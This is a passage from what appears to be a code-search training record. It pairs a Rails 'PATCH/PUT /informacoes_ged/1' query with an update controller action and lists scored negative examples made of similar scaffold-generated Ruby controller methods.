"def create\n @dang_vien = DangVien.new(dang_vien_params)\n\n respond_to do |format|\n if @dang_vien.save\n format.html { redirect_to @dang_vien, notice: 'Dang vien was successfully created.' }\n format.json { render :show, status: :created, location: @dang_vien }\n else\n format.html { render :new }\n format.json { render json: @dang_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @clientepedido = Clientepedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientepedido }\n end\n end",
"def create\n @degre = Degre.new(degre_params)\n\n respond_to do |format|\n if @degre.save\n format.html { redirect_to @degre, notice: 'Degre was successfully created.' }\n format.json { render :show, status: :created, location: @degre }\n else\n format.html { render :new }\n format.json { render json: @degre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def iglesia_params\n params.require(:iglesia).permit(:nombre,:pastor, :coordinadores, :direccion, :compromiso_economico, :region_id, :contacto_administrativo, :telefono, :correos)\n end"
] |
[
"0.61919296",
"0.5664271",
"0.5592055",
"0.55362755",
"0.54687685",
"0.5461491",
"0.5444696",
"0.5438037",
"0.5422431",
"0.5421057",
"0.53874725",
"0.5376109",
"0.5353349",
"0.5352899",
"0.53444093",
"0.53421116",
"0.5342051",
"0.5331872",
"0.5320823",
"0.5291916",
"0.52881765",
"0.52837455",
"0.5255121",
"0.5249217",
"0.5247007",
"0.5232296",
"0.5231919",
"0.5225549",
"0.5221422",
"0.52021366",
"0.519699",
"0.5194622",
"0.5193622",
"0.51828146",
"0.5176915",
"0.5173377",
"0.5166943",
"0.5163722",
"0.516179",
"0.51602286",
"0.5160057",
"0.51489425",
"0.51456344",
"0.5141127",
"0.513782",
"0.51307243",
"0.51240647",
"0.5119066",
"0.5108701",
"0.51029164",
"0.51010656",
"0.5089572",
"0.50892645",
"0.5086814",
"0.5085296",
"0.5084102",
"0.5082435",
"0.5081067",
"0.50794053",
"0.507853",
"0.5065399",
"0.50603306",
"0.5059721",
"0.50591564",
"0.50579345",
"0.50551116",
"0.5053076",
"0.5049674",
"0.5048804",
"0.50454134",
"0.5043809",
"0.5042412",
"0.5042109",
"0.50406855",
"0.5040081",
"0.50388676",
"0.50385",
"0.5038293",
"0.5035058",
"0.50328463",
"0.5031996",
"0.50306076",
"0.5027996",
"0.5025406",
"0.5025396",
"0.50234413",
"0.502054",
"0.5020008",
"0.5017149",
"0.5016564",
"0.5014817",
"0.50112253",
"0.50068396",
"0.5005824",
"0.5005293",
"0.50039816",
"0.5002934",
"0.50007004",
"0.4996546",
"0.49871564"
] |
0.6628796
|
0
|
PATCH/PUT /informacoes_ged/1 PATCH/PUT /informacoes_ged/1.json
|
def update
respond_to do |format|
if @informacao_ged.update(informacao_ged_params)
format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED atualizada com sucesso.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @iglesia.update(iglesia_params)\n format.html { redirect_to @iglesia, notice: 'La iglesia #{@iglesia.nombre} ha sido actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @iglesia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @giang_vien = GiangVien.find(params[:id])\n\n respond_to do |format|\n if @giang_vien.update_attributes(params[:giang_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @giang_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n if @agronomiaquimica.update_attributes(params[:agronomiaquimica])\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @oncokb.update(oncokb_params)\n format.html { redirect_to @oncokb, notice: 'Oncokb was successfully updated.' }\n format.json { render :show, status: :ok, location: @oncokb }\n else\n format.html { render :edit }\n format.json { render json: @oncokb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n if @areco.update_attributes(params[:areco])\n format.html { redirect_to @areco, notice: 'Areco was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @areco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n if @colegiatura.update_attributes(params[:colegiatura])\n format.html { redirect_to @colegiatura, notice: 'Colegiatura was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegiatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @giro_comercial.update(giro_comercial_params)\n format.html { redirect_to @giro_comercial, notice: 'Giro comercial fue exitosamente editado.' }\n format.json { render :show, status: :ok, location: @giro_comercial }\n else\n format.html { render :edit }\n format.json { render json: @giro_comercial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cocoon_example.update(cocoon_example_params)\n format.html { redirect_to @cocoon_example, notice: 'Cocoon example was successfully updated.' }\n format.json { render :show, status: :ok, location: @cocoon_example }\n else\n format.html { render :edit }\n format.json { render json: @cocoon_example.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @hoge = Hoge.find(params[:id])\n\n respond_to do |format|\n if @hoge.update_attributes(params[:hoge])\n format.html { redirect_to @hoge, notice: 'Hoge was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hoge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def update\n respond_to do |format|\n if @celulare.update(celulare_params)\n format.html { redirect_to @celulare, notice: 'Celulare was successfully updated.' }\n format.json { render :show, status: :ok, location: @celulare }\n else\n format.html { render :edit }\n format.json { render json: @celulare.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n if @indicativo.update_attributes(params[:indicativo])\n format.html { redirect_to @indicativo, notice: 'Indicativo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indicativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @infraccion.update(infraccion_params)\n format.html { redirect_to @infraccion, notice: 'Infraccion was successfully updated.' }\n format.json { render :show, status: :ok, location: @infraccion }\n else\n format.html { render :edit }\n format.json { render json: @infraccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cegreso.update(cegreso_params)\n format.html { redirect_to @cegreso, notice: 'Cegreso was successfully updated.' }\n format.json { render :show, status: :ok, location: @cegreso }\n else\n format.html { render :edit }\n format.json { render json: @cegreso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n @indicacao = Indicacao.find(params[:id])\n\n respond_to do |format|\n if @indicacao.update_attributes(params[:indicacao])\n format.html { redirect_to @indicacao, notice: 'A Indicação do Condutor foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gestacao.update(gestacao_params)\n format.html { redirect_to @gestacao, notice: 'Gestacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gestacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gomi.update(gomi_params)\n format.html { redirect_to @gomi, notice: 'Gomi was successfully updated.' }\n format.json { render :show, status: :ok, location: @gomi }\n else\n format.html { render :edit }\n format.json { render json: @gomi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(etiqueta_params)\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ingresso.update(ingresso_params)\n format.html { redirect_to @ingresso, notice: 'Ingresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingresso }\n else\n format.html { render :edit }\n format.json { render json: @ingresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clientes_servico.update(clientes_servico_params)\n format.html { redirect_to @clientes_servico, notice: 'Clientes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clientes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_celula.update(sivic_celula_params)\r\n format.html { redirect_to @sivic_celula, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_celula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @nota_tecnica.update(nota_tecnica_params)\n format.html { redirect_to @nota_tecnica, notice: 'Nota tecnica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @nota_tecnica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @informacao.update(informacao_params)\n format.html { redirect_to @informacao, notice: 'Informacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @informacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_contcelula.update(sivic_contcelula_params)\r\n format.html { redirect_to @sivic_contcelula, notice: 'Sivic contcelula was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_contcelula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apoio.update(apoio_params)\n format.html { redirect_to @apoio, notice: 'Apoio was successfully updated.' }\n format.json { render :show, status: :ok, location: @apoio }\n else\n format.html { render :edit }\n format.json { render json: @apoio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gig_request = GigRequest.find(params[:id])\n\n respond_to do |format|\n if @gig_request.update_attributes(params[:gig_request])\n format.html { redirect_to @gig_request, notice: 'Gig request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gig_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kolegij = Kolegij.find(params[:id])\n\n respond_to do |format|\n if @kolegij.update_attributes(params[:kolegij])\n format.html { redirect_to @kolegij, notice: 'Kolegij was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kolegij.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @oficio.update(oficio_params)\n format.html { redirect_to oficios_url, notice: 'Oficio actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: oficios_url }\n else\n format.html { render :edit }\n format.json { render json: @oficio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @refugee.update(refugee_params)\n format.html { redirect_to @refugee, notice: 'Refugee was successfully updated.' }\n format.json { render :show, status: :ok, location: @refugee }\n else\n format.html { render :edit }\n format.json { render json: @refugee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bodega.update(bodega_params)\n format.html { redirect_to @bodega, notice: 'Se actualizon correctamnete la Bodega.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @especie_estatus_bibliografia.update(especie_estatus_bibliografia_params)\n format.html { redirect_to @especie_estatus_bibliografia, notice: 'Especie estatus bibliografia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @especie_estatus_bibliografia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @information_cone.update(information_cone_params)\n format.html { redirect_to @information_cone, notice: 'Information cone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @information_cone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gato.update(gato_params)\n format.html { redirect_to gatos_url, notice: 'Gato actualizado.' }\n format.json { render :show, status: :ok, location: @gato }\n else\n format.html { render :edit }\n format.json { render json: @gato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @aoo_ref.update(aoo_ref_params)\n format.html { redirect_to @aoo_ref, notice: 'Aoo ref was successfully updated.' }\n format.json { render :show, status: :ok, location: @aoo_ref }\n else\n format.html { render :edit }\n format.json { render json: @aoo_ref.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gato.update(gato_params)\n format.html { redirect_to @gato, notice: 'Gato was successfully updated.' }\n format.json { render :show, status: :ok, location: @gato }\n else\n format.html { render :edit }\n format.json { render json: @gato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gommi.update(gommi_params)\n format.html { redirect_to @gommi, notice: 'Gommi was successfully updated.' }\n format.json { render :show, status: :ok, location: @gommi }\n else\n format.html { render :edit }\n format.json { render json: @gommi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @geocach = Geocach.find(params[:id])\n\n respond_to do |format|\n if @geocach.update_attributes(params[:geocach])\n format.html { redirect_to @geocach, notice: 'This Geocache was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @geocach.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cofi = Cofi.find(params[:id])\n\n respond_to do |format|\n if @cofi.update_attributes(params[:cofi])\n format.html { redirect_to cofis_url, notice: 'Cofi was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cofi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @questionario_egresso.update(questionario_egresso_params)\n format.html { redirect_to home_path, notice: 'Questionario preenchido com sucesso.' }\n format.json { render :show, status: :ok, location: questionario_egressos_path }\n else\n format.html { render :edit }\n format.json { render json: @questionario_egresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @viagem.update(viagem_params)\n format.html { redirect_to @viagem, notice: 'Viagem was successfully updated.' }\n format.json { render :show, status: :ok, location: @viagem }\n else\n format.html { render :edit }\n format.json { render json: @viagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solicitacoes_avaliacoes_servico.update(solicitacoes_avaliacoes_servico_params)\n format.html { redirect_to @solicitacoes_avaliacoes_servico, notice: 'Solicitacoes avaliacoes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacoes_avaliacoes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @protocolo.update(protocolo_params)\n addlog(\"Protocolo alterado\")\n format.html { redirect_to @protocolo, notice: 'Protocolo foi atualizado.' }\n format.json { render :show, status: :ok, location: @protocolo }\n else\n format.html { render :edit }\n format.json { render json: @protocolo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fale_conosco.update(fale_conosco_params)\n format.html { redirect_to @fale_conosco, notice: 'Fale conosco was successfully updated.' }\n format.json { render :show, status: :ok, location: @fale_conosco }\n else\n format.html { render :edit }\n format.json { render json: @fale_conosco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @atividades_extra.update(atividades_extra_params)\n format.html { redirect_to @atividades_extra, notice: 'Atividades extra was successfully updated.' }\n format.json { render :show, status: :ok, location: @atividades_extra }\n else\n format.html { render :edit }\n format.json { render json: @atividades_extra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @enemigo.update(enemigo_params)\n format.html { redirect_to @enemigo, notice: 'Enemigo was successfully updated.' }\n format.json { render :show, status: :ok, location: @enemigo }\n else\n format.html { render :edit }\n format.json { render json: @enemigo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @informe = Informe.find(params[:id])\n\n respond_to do |format|\n if @informe.update_attributes(params[:informe])\n format.html { redirect_to @informe, notice: 'Informe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @informe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @guide_taxon.update(params[:guide_taxon])\n format.html { redirect_to @guide_taxon, notice: 'Guide taxon was successfully updated.' }\n format.json { render :json => @guide_taxon.as_json(:root => true, :methods => [:html]) }\n else\n format.html do\n load_data_for_edit\n render action: \"edit\"\n end\n format.json { render json: @guide_taxon.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n if @coisa.update_attributes(params[:coisa])\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n if @fulcliente.update_attributes(params[:fulcliente])\n format.html { redirect_to @fulcliente, notice: 'Fulcliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fulcliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @form_anat_citologica.update(form_anat_citologica_params)\n format.html { redirect_to @form_anat_citologica, notice: 'Form anat citologica was successfully updated.' }\n format.json { render :show, status: :ok, location: @form_anat_citologica }\n else\n format.html { render :edit }\n format.json { render json: @form_anat_citologica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caixa.update(caixa_params)\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { render :show, status: :ok, location: @caixa }\n else\n format.html { render :edit }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(imagen_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @historico_converca.update(historico_converca_params)\n format.html { redirect_to @historico_converca, notice: 'Historico converca was successfully updated.' }\n format.json { render :show, status: :ok, location: @historico_converca }\n else\n format.html { render :edit }\n format.json { render json: @historico_converca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @frais_annex = FraisAnnex.find(params[:id])\n\n respond_to do |format|\n if @frais_annex.update_attributes(params[:frais_annex])\n format.html { redirect_to @frais_annex, :notice => 'Le frais annexe a bien été modifié' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_annex.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ventas_agrupador_cliente.update(ventas_agrupador_cliente_params)\n format.html { redirect_to @ventas_agrupador_cliente, notice: 'Agrupador cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @ventas_agrupador_cliente }\n else\n format.html { render :edit }\n format.json { render json: @ventas_agrupador_cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ventas_agrupador_cliente.update(ventas_agrupador_cliente_params)\n format.html { redirect_to @ventas_agrupador_cliente, notice: 'Agrupador cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @ventas_agrupador_cliente }\n else\n format.html { render :edit }\n format.json { render json: @ventas_agrupador_cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cof.update(cof_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @infographic = Infographic.find(params[:id])\n\n respond_to do |format|\n if @infographic.update_attributes(params[:infographic])\n format.html { redirect_to :back, notice: 'Infographic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @infographic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ficheiro.update(ficheiro_params)\n format.html { redirect_to @ficheiro, notice: 'File was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ficheiro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contatos_cliente.update(contatos_cliente_params)\n format.html { redirect_to @contatos_cliente, notice: 'Contatos cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @contatos_cliente }\n else\n format.html { render :edit }\n format.json { render json: @contatos_cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cooperativa = Cooperativa.find(params[:id])\n\n respond_to do |format|\n if @cooperativa.update_attributes(params[:cooperativa])\n format.html { redirect_to [:admin, @cooperativa], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cooperativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_contabanco.update(sivic_contabanco_params)\r\n format.html { redirect_to @sivic_contabanco, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_contabanco.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @phonetic_notation.update(phonetic_notation_params)\n format.html { redirect_to @phonetic_notation, notice: 'Phonetic notation was successfully updated.' }\n format.json { render :show, status: :ok, location: @phonetic_notation }\n else\n format.html { render :edit }\n format.json { render json: @phonetic_notation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asignarmultiplebeneficio.update(asignarmultiplebeneficio_params)\n format.html { redirect_to @asignarmultiplebeneficio, notice: 'Asignarmultiplebeneficio was successfully updated.' }\n format.json { render :show, status: :ok, location: @asignarmultiplebeneficio }\n else\n format.html { render :edit }\n format.json { render json: @asignarmultiplebeneficio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fabrica.update(fabrica_params)\n format.html { redirect_to @fabrica, notice: 'Fabrica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fabrica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Cliente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @coche.update(coche_params)\n format.html { redirect_to @coche, notice: 'Coche was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @coche.errors, status: :unprocessable_entity }\n end\n end\n end",
